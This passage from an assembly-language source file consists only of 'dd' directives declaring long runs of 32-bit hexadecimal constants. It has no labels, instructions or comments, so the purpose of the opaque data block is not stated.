4BA95CEAh, 73CB7A00h, 52DB3CCEh, 69118D02h dd 54DD05E3h, 835C62DCh, 18006C44h, 1103DC45h, 6307F22Fh dd 0E4DA7859h, 482A41A1h, 0BB3A8A80h, 0B2B08704h, 95E0996Dh dd 2A98FE2Dh, 14F70Dh, 825B1C49h, 4BCA859Ah, 562953Ch dd 0F5A69CC8h, 7D4DCC81h, 0AC409440h, 2F2200CBh, 0A58C8E3Fh dd 0FC008F5Ch, 0EC024CA3h, 90FFDEF9h, 0B3BE1E68h, 2C1640B8h dd 5C3255A0h, 18F5C800h, 9976714Dh, 17CD0036h, 6B42631Fh dd 0A139ADF9h, 94C581F6h, 0C3BB1683h, 7C1BB5F8h, 247B00A6h dd 7C8D5FF2h, 23E7501h, 28F93003h, 2356B8h, 0DE799AFAh dd 6B6F3DCCh, 97D3AC01h, 0ECCF5C38h, 5880F300h, 6CD48400h dd 54CC6A05h, 0F2B9013Eh, 0A33AB408h, 0DB95D83Fh, 0EEE1750Ch dd 4A0E8h, 661C79Bh, 0E6C9F7C5h, 6A18E360h, 3099753Bh dd 1610C602h, 4D1C2AF4h, 0E040C496h, 13013937h, 73641E0Ah dd 4479FCE1h, 240EAD1Fh, 83575C80h, 0C09B7BCFh, 0E607F13Fh dd 26B1C0DBh, 2273BC75h, 0DA87400Ch, 54F44Fh, 42AE482h dd 0EEA5E5ABh, 6836790Eh, 80F58EE8h, 1ECC42E9h, 49263BF8h dd 0FE87FB07h, 0E589C0E6h, 88073AA1h, 0BCEEBDDFh, 8FF3AE20h dd 8F46F937h, 6911C328h, 0BDE088F5h, 0E90085FFh, 0D0893AAFh dd 0BCFEA1h, 0FD0415E0h, 84EE57E4h, 8CF02CF4h, 8EF6E578h dd 9469F206h, 8DB8521Ch, 0F0C07D04h, 90FD2D07h, 962B05B4h dd 2CBACFAAh, 6B6F2E18h, 0EABBE011h, 12773E0h, 0F75CAFFFh dd 0EDDB3B7Eh, 0C91980E8h, 5D578001h, 0EDA5068Fh, 40DB9ADDh dd 25023Ch, 6FD32E4Eh, 943657h, 787CAEA1h, 46043A03h, 280092FEh dd 874A99CBh, 0EC261CA5h, 0EDE30731h, 0CB3B4703h, 0BCFB0100h dd 5003CB5h, 10F25C3Ah, 588048E7h, 19601D1Ch, 1BD05D02h dd 851370C0h, 0C1EEAD49h, 0AF578681h, 50D9875Ah, 9EAEE81Eh dd 0F8B1DA1Fh, 0C08FB092h, 7CF53EC6h, 8CAEEF00h, 0A560B602h dd 0D9C4838Dh, 10482620h, 3B7F0682h, 86824D7h, 5F87848Dh dd 1CC0508h, 99CAC6BCh, 0C9BC5038h, 723711D1h, 0B6C24069h dd 79C084Dh, 0DC4EA135h, 0B1C18A78h, 0FA7B9852h, 11DB8C5Ch dd 0E3E4110Bh, 9E8005CBh, 9550BD5h, 107288h, 0C606C3F4h dd 2E3FA5B5h, 31F869h, 936468DFh, 60895B8Eh, 9C57AC19h dd 48419B21h, 0DFE01DA5h, 122893DBh, 0C6642B47h, 0F08A417h dd 47D605C9h, 8926AE80h, 1E00A2FDh, 6838C206h, 0E9A5DAh dd 0EB2CE2BCh, 57BDE59Bh, 63E9E3F0h, 0E1FE0178h, 0E989E8E6h dd 37F05461h, 6F95005Bh, 78F5A232h, 0B70AA8E1h, 44FB4821h dd 0B1CDB260h, 0ECF50A7Bh, 0C004BF8Fh, 0BAFD8E21h, 400CFE53h dd 0F31FCC08h, 5322DAFFh, 43143086h, 9D8F089Fh, 876F1888h dd 0BC21F5Ah, 90A097DBh, 9C731D8h, 1048A437h, 6808A619h dd 0A4C59DBh, 0D130A433h, 5F3194E3h, 315DB348h, 4D097119h dd 191049D9h, 4CAF108h, 22C77004h, 9CB7B709h, 32C75EC1h dd 565A0C48h, 50408C3Ah, 63991943h, 0BB1D281Eh, 1F09E431h dd 19911848h, 3B443A22h, 12258924h, 48272426h, 22219120h dd 2C234422h, 2E122D89h, 284F2F24h, 6C828F80h, 8E0C88F0h dd 0C95AEA0Ah, 0B8D96586h, 3B842C9Ch, 55D604A5h, 0A6400850h dd 3EFF21Dh, 9DA91CDDh, 80E36CDBh, 0E000ADE3h, 871F5B21h dd 3AE71DDCh, 0D91EE3EFh, 0C13AFC9Dh, 0C93C533Eh, 0ED14064h dd 8D20B0A9h, 3F5B4200h, 551D5187h, 6B334A16h, 443FF48h dd 0DEC9AAFFh, 0BF808859h, 0CB076E8Ah, 0F0F4458Ch, 38A586D2h dd 11FD1158h, 377078Eh, 58FEC56h, 6C09226Dh, 4171882h dd 0C0CF5DF5h, 9EC3B37Ch, 3C8F03D3h, 57993E98h, 0DB4A211Ch dd 563869h, 6B9EDC29h, 18DED91Ah, 0D130B07Ch, 0F466189Ah dd 4B920159h, 0C928EF86h, 311C4381h, 0D30E2FE0h, 0E7FFFB0Ah dd 824528DEh, 0C5E470EAh, 5D631E58h, 1212E41h, 0D1FE3531h dd 0D484F9AFh, 4E7C51BBh, 89F8A80Fh, 79F200DCh, 78DAA3E3h dd 0E8570143h, 0ED2CE1FFh, 14B9DE82h, 0A2EBE0FCh, 0AED330C0h dd 0E0ABF5h, 5679FE57h, 0E484E9A8h, 83FF1F00h, 1C28A1E3h dd 0BC7E27h, 3586D38Eh, 292BDD78h, 0FC2C18C0h, 0EA5CC83h dd 0BDD38F54h, 2801809Bh, 0E32AFE9Bh, 0F9D0D080h, 2BEE0188h dd 57E643A4h, 1831BDFDh, 0D159D089h, 0CEA5369h, 351DA842h dd 0F9A18EFFh, 0EB2CE7C1h, 0EE884088h, 6853E485h, 969F07DCh dd 3A07A6F9h, 3D98D581h, 17FE850h, 5DB6129Dh, 0BC10578Fh dd 617FA090h, 5B740FD9h, 3F073E48h, 0D098572Ch, 0D32E0186h dd 0D2DEA11Dh, 803A058Fh, 3851D0Ah, 149C036Ch, 3599D5FDh dd 17FF7100h, 1A42C23Ah, 5A1F4041h, 0C80C5374h, 2843B75Eh dd 47D23A7Bh, 0DDE230Ch, 0A6742EC9h, 1F4518A6h, 21E76890h dd 202E1221h, 63059D30h, 0D5C441BFh, 81C15988h, 31E4442h dd 48C51973h, 90083A40h, 9B060EA5h, 0DD1ACC9Eh, 0FB637359h dd 184B0481h, 59C35D79h, 0E1C0A825h, 0F3B4C937h, 5A240CD6h dd 9C20D8E1h, 36144FFAh, 23D0D323h, 0C448106Ch, 1960B5BDh dd 6E31AEA3h, 402F30A1h, 0D1D9B986h, 0C3776913h, 66B0290Ah dd 8391A48Fh, 595CC005h, 1DDC0C38h, 0C43DDFF1h, 723161D1h dd 188A408Bh, 0A4C991Fh, 2058851Ch, 0B71B2284h, 0B6BB1D09h dd 5518066Ah, 49830CB9h, 431CFADh, 189DAB31h, 4C42D243h dd 0E858A859h, 0FB912798h, 0A04124BCh, 2782928h, 99C934DCh dd 0D91DA490h, 9B4E6485h, 0BEB86274h, 0E74216FEh, 0AC860710h dd 19238626h, 0AD0205D3h, 1F2808E9h, 397C0857h, 91A85791h dd 1A8ACF42h, 0A86F1150h, 9C9142EDh, 0A7462828h, 0A2E8DA1h dd 0BF111621h, 0A14249A8h, 0F7443B88h, 1823516Ah, 21842E28h dd 69F8870Fh, 2E268CD5h, 10495CD9h, 8A3A986Ch, 0C1228C44h dd 0FBDB0CE9h, 0CB2140D5h, 0B1D1381Bh, 0FE407C61h, 2B554499h dd 0CB31CE06h, 4458F10Ah, 40A18D5Eh, 19789F41h, 4B3F4420h dd 99CACE09h, 46A4A670h, 32982910h, 85DE884Ch, 0BC9B0784h dd 23B298C2h, 99151EA3h, 803C3C05h, 0DE2D1384h, 0E411C1C9h dd 22AEA169h, 0B22E12E8h, 9325DC32h, 0F54909A8h, 6890A3DBh dd 0B7489227h, 9C88F7A4h, 8A07C604h, 150110F6h, 25D8C5Bh dd 24C9294Eh, 6076E0h, 79EA8852h, 6199CBE8h, 0FB68F516h dd 42CE40Fh, 80AA031Ch, 89A1EE40h, 10E4790Bh, 7F80B51h dd 0BDC06F5Ch, 74F088E8h, 7FAA7ABAh, 7452FCBBh, 5809F840h dd 0B132D8A6h, 0CE09540h, 0FA2E81FDh, 57152469h, 8EFF0340h dd 0C0F9A5B1h, 0F99E8715h, 0F0EEA1F8h, 0C130A4F3h, 8FF5A398h dd 0E01C4DFEh, 784054A6h, 0E75F01DAh, 0E48EEE68h, 3F604DA2h dd 0F5A0708Ah, 80B8FE8Eh, 6D108F0Eh, 88CA8B94h, 83C01878h dd 0FBA1E5h, 2E1ED082h, 0C12C2448h, 2C578F2Bh, 63E45625h dd 66E0104Fh, 0B35624F0h, 5DA3E38h, 7B66A8F6h, 0FDF8B0C1h dd 145DB2D1h, 52401Ch, 0F64266B3h, 0F583564Fh, 0F05CBD74h dd 38A94AB4h dd 2E6AEC09h, 405DC865h, 0CBF3F589h, 0F0619F03h, 0E1689588h dd 0D3DCE9FAh, 26EF7A15h, 123469FEh, 5DDC12F6h, 0FB8F0000h dd 211CE9E1h, 98602C24h, 0CC83E380h, 98F02E50h, 0AA51333Ch dd 28C6EF08h, 0D339A404h, 20CDE9B2h, 78666C40h, 0ECA524E4h dd 602B09ECh, 286B7430h, 0C5914269h, 1342D744h, 0E930405Ch dd 0BCEE1D57h, 49FE16F1h, 40313A90h, 0E65824A8h, 0DA8EFE07h dd 2940FD10h, 98808AE7h, 79E91ED0h, 58571F2Ah, 0EE8F40EBh dd 0D095C098h, 88FB0FCCh, 89CE1E37h, 212AF8Fh, 0FDB7848Ch dd 82F3B040h, 0E82BDA01h, 0EB2AF28Eh, 0B12B1CD1h, 55A040C4h dd 2B78D385h, 60DF8831h, 0AC21DA9Ah, 510158BEh, 0EEE6FE81h dd 4408384h, 0A111E495h, 3092D0FDh, 54B00E9Bh, 0BCEB3098h dd 564A11F8h, 57C01CF8h, 2CDC83E8h, 2981F916h, 94AF3CCFh dd 16E7A0F8h, 9537F0FDh, 0BC65B8F9h, 0F0966098h, 3EA67809h dd 0ED123679h, 9CB8748Eh, 9424EC18h, 8513F0E3h, 83541C03h dd 40F5A2D3h, 0E63A68E8h, 3085F9CDh, 87FC2AE4h, 8EEA837Ch dd 0FDE8AFC0h, 0B5A8E92Fh, 1396FD34h, 0D1190BEFh, 8459C404h dd 0FEB4C2ACh, 3726E4CEh, 0E0C50CBCh, 0E7899880h, 74DCB0BAh dd 0E1CCF1FEh, 0CAF2F1BBh, 40C46AA8h, 0C5A6361Ch, 85EB2C09h dd 31E429C4h, 0C038A6DCh, 0F3823D82h, 8320E188h, 1030EEC5h dd 68E16F79h, 0F9040793h, 0C82B4580h, 8F52F520h, 3C1FD22Ch dd 2AD38030h, 0F08E74F9h, 58D6E3h, 69E7FF20h, 82F989EAh dd 824842B0h, 40189A88h, 9747CC50h, 61D734B7h, 2E94B2F6h dd 0FAB1BCF3h, 8B184EE9h, 2AC820BFh, 29FEAA9Dh, 0DE68EE68h dd 89BAF301h, 0F82AEE84h, 5D68D860h, 5102648Ah, 0FFAFFE80h dd 0F86618ABh, 0BC509F50h, 9377151Dh, 0EA2D0105h, 84ED20D0h dd 0FFA23EDAh, 0C41EE113h, 96D0AC44h, 464B7827h, 9D863AD4h dd 5441D202h, 80E0DAAAh, 0A178E682h, 0BDD18800h, 0BCF285E8h dd 790B856h, 32658A46h, 502CC85Ah, 0A5DFAB06h, 0E2BA0321h dd 0F9BDE588h, 5457DAA0h, 0FF4B80BAh, 63A4C860h, 6F68C2E2h dd 0E0E14203h, 848045F2h, 8B342EE8h, 0FBF8825Fh, 0A150FB88h dd 5F0B7668h, 0EEE957E6h, 0F5640A90h, 0F0FE68h, 0FD6C9BE6h dd 8E009FE7h, 0BCE857E5h, 0C0F3AECFh, 0D394FF21h, 0EEEAF92Ch dd 82F5A503h, 2DFC2B37h, 0E090BB90h, 5717071Ch, 0F8D982FFh dd 89F3104Bh, 0E82CF2E0h, 6BE16F3Ah, 0E3B08B30h, 0D059A160h dd 0DC001C21h, 0B485FC10h, 0CE7900A0h, 0E3FDEA2Ah, 832751E8h dd 0B9B80BE9h, 0C45057E0h, 0A4FFE703h, 3256278Ch, 0A5DCF830h dd 36785403h, 7E83E877h, 0DC8F5088h, 3BC12EFh, 405C1968h dd 0A380E356h, 0EB4CFFF5h, 2787804h, 0D33CFDEEh, 49261EA1h dd 50F1B0A8h, 54AE37F0h, 46E49A17h, 0C329DCCCh, 0A1378128h dd 38C81845h, 4C58450Ch, 864B5EDCh, 0E5306058h, 30905A15h dd 8CEAA6D4h, 2944EB48h, 32A5F4FDh, 48F07A64h, 0F4E20D1h dd 0EC80FB30h, 0EE88E8A5h, 920BD61h, 0F041F9A6h, 1828FF68h dd 0B448EBBFh, 1FD39A04h, 0B2DCC0F9h, 50BF858Dh, 83A70353h dd 2E492505h, 0DEA5D388h, 0D487294Eh, 5A6CDA60h, 0E749C19Bh dd 0F8EDDF82h, 5E333898h, 0F50906h, 0DF8A4721h, 0E7F60CC9h dd 0ED9AFC01h, 0DBBDB91Dh, 0E4045080h, 72B15787h, 0BCA13B63h dd 0A565F8F4h, 0DEFA07D3h, 46FB039Dh, 7A0021B6h, 624DBECh dd 3FC8B0Eh, 5FE57483h, 0B0042A29h, 0C261969Fh, 25EF8700h dd 9C4FD9C3h, 88DA3080h, 8977012Ah, 4DE97A7h, 53588018h dd 7C0D4A99h, 79C90227h, 8F6974F4h, 0BEF61DC0h, 0FCD15900h dd 522773F5h, 6CC30A2Bh, 7320DFF3h, 0C66E9C9h, 0CE4C00A3h dd 0D29A2D99h, 2103409Fh, 0DFE1D4DCh, 278088C6h, 997630BDh dd 0D6FC9298h, 5ED3EC03h, 18FE9CD1h, 0E0B12A79h, 0EE88A041h dd 0CC02092Fh, 0D8D1DC31h, 8C25803Ch, 13D32351h, 82B32B8Eh dd 272D101Ch, 0A1CC48A2h, 0FFD00B6h, 9983A01h, 109DEAF1h dd 0A344ECh, 839B7F6h, 3F06CF4h, 0A4054218h, 2B86C521h dd 1E4CA57h, 0A564DBF9h, 88CA18EBh, 0DC02F159h, 0B7EDA9A0h dd 8040765Fh, 0E403CECDh, 2F68A9Bh, 0A97A13Ch, 0F0313285h dd 4F30435Eh, 31372890h, 0B03AE5A0h, 672B4B70h, 42101CF4h dd 0C86AD427h, 0E875E402h, 49D13930h, 5603046Ch, 448537E3h dd 3709860h, 0A03E0135h, 0E231A608h, 0D805B5CDh, 16CA95Dh dd 990BC213h, 685BFB8Eh, 23D63DC8h, 3001E9D2h, 4C24C00Dh dd 2AF378E0h, 71C43A73h, 0EFD909E6h, 0D403FCC8h, 0C1B65D68h dd 0D8A30200h, 0CC5FC977h, 0F6A53E2Ch, 23846FBDh, 9EC6CBF3h dd 7157C45Ch, 21C14560h, 0B52E01F1h, 0B1838057h, 6329D036h dd 302806E7h, 843D75BAh, 0E5B79700h, 0C135C01Ch, 0C1AB7E5Ch dd 8886EB68h, 0AC403E04h, 0F419B532h, 3ECA06BDh, 85AD518h dd 212F6Eh, 70F119CDh, 2C354CC4h, 25470BFCh, 0B250BE1h dd 6A9D383h, 250D4096h, 903B9372h, 442F085h, 0D59840DFh dd 0ADB788D3h, 17FE806h, 6285A61h, 0F1911D89h, 0E12D8DAh dd 6841A935h, 23A7C784h, 3471CBE4h, 0EB302C4Bh, 16D2488Ch dd 0E2A2BE34h, 0E5C80030h, 0CB3652EEh, 10279FA6h, 0BE5DF3BDh dd 1450403Ch, 4C2FF0h, 0B483F63Ah, 193E6853h, 8585B9Bh dd 982180A7h, 8A37836Eh, 221A07C4h, 616AF192h, 0E8CB0AA7h dd 0C8272361h, 8754E880h, 0C029699Ah, 0B05418D7h, 0D8C91253h dd 40C473F5h, 3EED20E0h, 0F03AFC01h, 0C6234A9Bh, 85042840h dd 2013419Eh, 5B0524DCh, 50D1557Ch, 0A153A044h, 0D002E684h dd 0A00379BDh, 9B993794h, 86E88054h, 803C8B49h, 0BDF719BEh dd 38448C42h, 19B60015h, 0B2BB56C8h, 3C004703h, 0CD851F40h dd 6944D131h, 0BC8458E7h, 0A0F3C65Dh, 5CA1C7E6h, 2845FC86h dd 5C1484A5h, 1F323C0h, 53B383F7h, 88C218F0h, 83006F99h dd 73E8EDDDh, 300931D9h, 7969F668h, 9301EA54h, 5A374A1Bh dd 94E09F08h, 0AAEF008Dh, 8C32AEF7h, 0CA29D2C7h, 980080A0h dd 2030F131h, 69C9602Eh, 469F5015h, 6DFB7100h, 6F4C60EAh dd 7EA007DDh, 2998132Ah, 0A73011DDh, 26956820h, 4F585CB7h dd 0D8D9B643h, 0C0A6202Bh, 585D14h, 2D9AC342h, 499E39h dd 0CA8A69B6h, 0B2D34350h, 0A1A1F90h, 0A14496A1h, 36955D88h dd 8870CE04h, 0BAB7C0B4h, 17294CF5h, 4384C4F8h, 9089A5D5h dd 1EA025C8h, 17A47B76h, 83B0606Dh, 523F8DFh, 58B50070h dd 8909505Bh, 6A859C1Fh, 638D8B40h, 0F1BD775Ah, 0C691FCh dd 0F944B1A3h, 5940AEC2h, 0DE38EDE4h, 0D018E017h, 395854BAh dd 70BA6721h, 0A8594CB0h, 0B0019C3Bh, 5C3F3DC6h, 89895C9h dd 830321B2h, 0AC489C00h, 0FED0E1BCh, 0E6640605h, 685B96C2h dd 0C8C11218h, 62BA81h, 79B7CE1Bh, 489A96EFh, 0FE61B380h dd 97320341h, 0A264CE8Eh, 9253181Dh, 0F04821DBh, 1DFB39DAh dd 0CCE77305h, 9E182E91h, 95DCC600h, 4B7862FFh, 29E00708h dd 0C2C29170h, 0E1036C02h, 48B00244h, 9D5CCCF6h, 596939C0h dd 877ED800h, 0A6E7B24Dh, 0CD1009Fh, 72D2830Eh, 5070E19Ah dd 0DD32F90Ch, 130704Ah, 0EE782AFDh, 53BDFB48h, 0B06F6884h dd 43F80060h, 3C515434h, 0DB98E9D8h, 0B15B1853h, 0E53065EEh dd 0E4C4589Dh, 0A087F906h, 1C97D2C5h, 530CE518h, 5140B07Fh dd 8CB709BBh, 0DB80C29Ch, 0AC9FDA54h, 21C0B5E8h, 0EC8FAF1Ch dd 0CEF51DA2h, 0DC1F91h dd 0C655C708h, 7F60C2D2h, 461E9858h, 3ABD3D39h, 7EAC9E2Ah dd 0CA280093h, 8B637B35h, 0D8077D09h, 0DC8A655Ch, 50F0EF91h dd 5BD0C44Dh, 54E02AAFh, 74F81CA8h, 77D1811Fh, 0DFD94C7Ch dd 215E0831h, 32E40C97h, 25D4011Dh, 46F259CAh, 519C5045h dd 6E036FA3h, 0BD83BA94h, 5E2BA161h, 65C48858h, 2FE4D069h dd 0B4238Ch, 0EDF8EB19h, 0C0029142h, 24DEEED8h, 59D88349h dd 0F7890043h, 12B0060Eh, 0FA1481C2h, 2DCCF276h, 2AEFF4D3h dd 2CD80160h, 0E64F3370h, 73E18F6Dh, 0E01DEF9Fh, 42D4D021h dd 0D727ADCh, 0B32A9158h, 0E00A6038h, 0C2E2AA05h, 0A401147Dh dd 0B494DEE9h, 9F97424h, 5860C6ECh, 0F202D411h, 0B8736202h dd 9D952D8h, 0FB23BE53h, 600DD804h, 23B79C9Eh, 0BC1185C6h dd 9C860E05h, 89EC0836h, 25C432C0h, 0A0BCA6FAh, 91E40EA0h dd 46C020ACh, 8CC90179h, 0ACA7C29Eh, 1A88B10Ch, 238F30A1h dd 41D9787Ah, 0ECC419C1h, 588E8EFEh, 8DCCD2C1h, 0ED102470h dd 0C9014286h, 72F9CB0h, 0FC85887h, 0B953200h, 0C3573073h dd 4B7D14FBh, 0C781E4E3h, 0BC6346EAh, 662A9B50h, 0A75A739h dd 0E0819462h, 0ACADC6D9h, 0A836F394h, 4A62AA00h, 7D2FF456h dd 0C034C94Ch, 906BD968h, 6EB24BEh, 0C50801ECh, 41F7F614h dd 74466Ch, 262AE77Bh, 4F64B141h, 7A340CA3h, 3313F9E1h dd 549D2990h, 0B618B271h, 7A719D13h, 0B8395404h, 414FB105h dd 70D508B8h, 4CD94042h, 6200B6E7h, 0D9F64EF8h, 3BEFDCA3h dd 7A80826Ch, 0ED3166D8h, 4549E6E5h, 20FA0070h, 9BF591EFh dd 2E7A41h, 6BC0B029h, 25D51615h, 0D62CCEF4h, 816E3458h dd 5C638749h, 39707C34h, 0F9011777h, 0D15FF475h, 8A08980Dh dd 1F7F9F21h, 560CDA17h, 904C37EAh, 215B09C4h, 20ED7824h dd 26F4C240h, 0C620848Ah, 7840986Eh, 3BA024E0h, 62946198h dd 86698063h, 2F8F2389h, 4E42008Ah, 17A1495h, 300527F6h dd 605F47FFh, 0E53EE404h, 0D8B84B09h, 2987496Ah, 18B2718Ch dd 0DC0D0012h, 0E74EB353h, 4767C28Ah, 5F544BB0h, 9E38AE41h dd 33103078h, 0EDD19501h, 0AB24CEECh, 0B6101432h, 2A380BBCh dd 0A04B0D0Dh, 952E620h, 5AED4EBEh, 0E0A4882Ah, 663CDB86h dd 1AE33B00h, 609B2207h, 5B2E2493h, 0C8E1649Ch, 6A00A774h dd 0D0040673h, 1948830h, 0D12C08AAh, 2AD10CEh, 0F7066E5h dd 4CF981Bh, 232C3EB7h, 125D0BBDh, 1E761482h, 5AFE7882h dd 311DA444h, 14000D8Fh, 78678C92h, 0DF4B0D48h, 0F4484923h dd 102607CEh, 30036CEEh, 2650E487h, 8E34AAA8h, 798A8851h dd 0CEDE80B8h, 0AE7D75A3h, 0C6B25007h, 2432D14Eh, 1B6C447Bh dd 0D069904Bh, 0ED394060h, 1219BC92h, 6837F97h, 205AD6E1h dd 0B226DDF4h, 6A42A888h, 48EE46h, 6D53ADBh, 12F5BA59h dd 0B9CDE4C1h, 0E170905Ah, 0C8DE026Ch, 61AD5B67h, 6E794840h dd 6CF64881h, 693E6F7Ch, 1978DD86h, 69C06FF0h, 0AD9E603h dd 0DAF930CFh, 32534212h, 0ECBCFD2Ch, 7260A144h, 0D123761Fh dd 1E451107h, 49420A99h, 0A06F6227h, 7CD0C584h, 2BC700E7h dd 7D471ED1h, 7603C073h, 2FE927Ah, 40DEE055h, 0E7A8A0A7h dd 85D60089h, 77C6E038h, 72308ADFh, 0EE5890B2h, 0D0CF4878h dd 5BD87630h, 8831B6CCh, 8D61380Ch, 0AC04C054h, 0C5074956h dd 0F474EFDAh, 742C1F7Dh, 214C580h, 24D8405Eh, 607FA0B0h dd 960820A7h, 11F0CA2Dh, 8CB38073h, 43D7C238h, 0E04E22ADh dd 0A8C00CBh, 62C4B014h, 0C0DD7D29h, 946155h, 6FF08ABh dd 1E11E7A9h, 0AC4E7B2Ch, 7F720095h, 19C4BE6Dh, 8ED0E005h dd 0DC2AB9h, 7E152422h, 19608140h, 413C3953h, 0DE1CBE0h dd 10681FFCh, 0B17FD7D1h, 0B7E47093h, 0E5220937h, 78945EBEh dd 0F85E20F9h, 7A10B49Ah, 0B85C9AA1h, 8C0B1FCBh, 3CF4308Ah dd 0A1846382h, 0D86CD57Bh, 226D9E25h, 8F80F374h, 0F20C84B0h dd 5983C490h, 725341CFh, 304FF280h, 0F430C6A7h, 0D9706936h dd 375A138Dh, 92E600C7h, 40442B01h, 2CB37E3Bh, 0E7029969h dd 80B7DEFAh, 0AE8A5BACh, 5CD0377Bh, 512B2259h, 0F1263058h dd 7B0630E8h, 215EEFh, 6C0C9A92h, 55D1DF24h, 0CD63410Ah dd 0ECA6B049h, 4C19C701h, 0FC505143h, 17F80D1h, 0D767640Fh dd 2C460696h, 0CA98411Ch, 7E118028h, 9F8CB680h, 0AC4BAFC2h dd 1D0028h, 0F37B8FAEh, 16AAD040h, 0EF70FC00h, 7ACCB753h dd 0B88350E6h, 8AA0C85Bh, 0DCD6EF9Eh, 2F3E8409h, 0AB135EB8h dd 755A2831h, 0E2FA8000h, 0D8788E4Ch, 4036C220h, 60B00B5Eh dd 7A43BA20h, 0F4F081h, 0F367F2D6h, 8C6A7DE3h, 71605567h dd 0FB831648h, 60901Bh, 23C45891h, 849C7AC9h, 15F358A9h dd 0E0AD7004h, 6A1F7630h, 11E7D123h, 0E951E5Fh, 0F8E39F40h dd 5520C8Fh, 0A7C93A3Fh, 9310D85Ah, 646222h, 9C2F63E8h dd 0FCE39B11h, 3201091Dh, 0B474FD42h, 0BB90C060h, 9D04865Ch dd 173DDA08h, 2C50A8E3h, 6B9429Eh, 3F392AE6h, 5F302410h dd 27988108h, 9E761E85h, 0CA06630h, 0BC2136EDh, 3D108748h dd 0B97641BDh, 18B0D134h, 28F11802h, 32E48834h, 69B5ED31h dd 0E01420DEh, 8881470Ch, 0EBFE7470h, 8679EF08h, 662080BAh dd 20089056h, 0B037C15h, 0C9049363h, 41F682DCh, 0EC48E094h dd 35DF00A1h, 1E7F9541h, 26166163h, 56007653h, 3158FCE6h dd 0B047582Dh, 1C468989h, 75177104h, 766205F9h, 17799120h dd 0B5DE0062h, 367E0B2Ah, 652E9FD7h, 0F35E3866h, 441D2918h dd 0C74257A2h, 0E9868D7Ah, 0F86068FCh, 49D320E3h, 0CE4CC61Bh dd 3D30C308h, 80D3D8E9h, 318A383Fh, 43B0B465h, 0F6AC2480h dd 60BB0388h, 0FC0179D3h, 0A459A0A3h, 0C718DC90h, 0A4C8EE49h dd 53052898h, 5EC448F9h, 13C08450h, 58024B2Fh, 68A88BFDh dd 0C964DF60h, 14C566E1h, 0F267BDC4h, 7840BC08h, 0ECA98F70h dd 0D946106Fh, 0AEC9003Fh, 9EE18B29h, 7B60598Ch, 89513741h dd 9F1100EFh, 552946CAh, 4C0083BFh, 2838DA1Fh, 1899759Eh dd 0E9B3B93Dh, 0CC9CA931h, 55C16306h, 98320269h, 0B04EF7D3h dd 0D0E19C48h, 47144AF0h, 92AC9253h, 5E23103Ah, 22471500h dd 0E287E777h, 0F0C461DBh, 2459160Ah, 4A7EEA74h, 7B84F494h dd 885441ECh, 5FCE263Bh, 7A598830h, 6CBEDB80h, 4363876h dd 24F7B327h, 48D2C1EBh, 0D0DC48C8h, 7D4BF404h, 288857E7h dd 809382h, 0F978176Ah, 4486F5DDh, 7200BA77h, 35C3BE17h dd 312CE8FCh, 0E1A82556h, 17E98152h, 7387D60Dh, 0C04158C4h dd 55EFF3A1h, 0C101535Dh, 0EE9291D5h, 7420B375h, 86E414C2h dd 844C6C6Fh, 49189872h, 691940B6h, 58AEB079h, 1F0475B8h dd 7C0FD177h, 96235D32h, 469C80Dh, 3CFE0CEh, 0DAA4E860h dd 24EF4297h, 3250098Eh, 4A8199Ch, 78709D8h, 0C6FD3BE0h dd 44B6B325h, 98DEE988h, 0DF301963h, 0DD4BE151h, 38A42A21h dd 3F960860h, 0DC29E103h, 0CE21E07Ch, 283FB84Fh, 8098409Eh dd 847532F4h, 586B664Bh, 4866D1Dh, 0A0D6DCC2h, 32147628h dd 25AC22C4h, 0C334A063h, 1F9F42CFh, 418D1DE2h, 7B6593CBh dd 8028B2B6h, 4F46C38h, 0C2818CC8h, 20B4629Fh, 0E58FA01Bh dd 191FF40Fh, 63AAC732h, 1C9148ACh, 28312F6Ch, 0C4DA02D8h dd 74DCCABFh, 7DA1E848h, 3DE462E3h, 212F0229h, 7AC54B9Ch dd 6BDC1E60h, 0C6DE4948h, 8B6380A0h, 7FB8CAA1h, 118CF55Dh dd 607FB6CBh, 0DA40E96Eh dd 0E23D5F62h, 0B6B20085h, 1AE4540Bh, 5C2602A0h, 5BD77B75h dd 7C04F32Eh, 0E8818ADAh, 0F9F08BEFh, 2145604Eh, 2777E7DDh dd 44976B06h, 739005F8h, 406C2DD1h, 7084A409h, 0C34B054Ch dd 0C07C4414h, 0F50C315Fh, 52E81D88h, 392902C0h, 0A4C1A09Bh dd 277432DCh, 0B338937Bh, 6A1BC868h, 169092BEh, 215EEAF4h dd 870890h, 0DD4EE548h, 6388C669h, 0BF008160h, 0DD2CCDFBh dd 7FBEB603h, 81501A8h, 63C26AC0h, 3C298B62h, 4C9E8037h dd 1769BDEh, 35D2D8BCh, 4DD378C6h, 54D44294h, 5A9E4060h dd 795E44A0h, 0E61F849Eh, 688E4ECh, 0D29209F5h, 13F3080Fh dd 23B43A34h, 0AF700074h, 0BD829308h, 28AE3402h, 69EACD51h dd 9848B1E0h, 63431FE8h, 67C68FA7h, 0D2BC07D2h, 2418DB6Eh dd 1096D67Bh, 0EB4ADC41h, 8247E101h, 40947BE9h, 857DC0B9h dd 187000BFh, 97844F26h, 2904D54Bh, 0B9325054h, 4D860E0h dd 1AE18589h, 503A12B4h, 85015E23h, 3B0459B2h, 0DB6FDCh dd 0D5A3A6CEh, 0DA7A19C4h, 0AC4A8B0Bh, 0C0698B7Ch, 2EDC3970h dd 80982214h, 0DF422548h, 0B4BA928Ah, 88EF5800h, 13C48738h dd 43073091h, 68DED170h, 38F8BE59h, 0C0F3BA2Ah, 71B4038Fh dd 0B6BA96D7h, 0F4C22051h, 9053AF0Bh, 8E7D8420h, 5E65EE60h dd 2996CD13h, 40C8F08Eh, 0B110EEC7h, 0AECDE19h, 0D28AE49Bh dd 0AED183F8h, 80064FC6h, 0B4CEC23Bh, 4180FD18h, 61219DD8h dd 3D2E6360h, 0D20870BBh, 0E0E6711Dh, 4C942FB2h, 45A0E8Bh dd 6C82A034h, 246058EBh, 8FB0D80Bh, 7EAB48D0h, 10441CC0h dd 806FD207h, 0C47AD6FAh, 2BF5424h, 7AF70460h, 2140BC88h dd 5308B6EAh, 8898A5A8h, 0C6200A58h, 184700F5h, 1C766EEh dd 9C2EDCC9h, 8F40FCE8h, 9C64C2E2h, 0C2321F38h, 452541ABh dd 0BD2A9482h, 0CA786332h, 4B7D02B3h, 42A1CF21h, 241347CCh dd 0A504FCC1h, 0B04524ABh, 0A76076E4h, 46052977h, 0A55CBD4Dh dd 4480A4C0h, 32E40C56h, 0E9985DD1h, 0A6C13618h, 3A8AD070h dd 48CE2717h, 0CF93BC10h, 42CC2C98h, 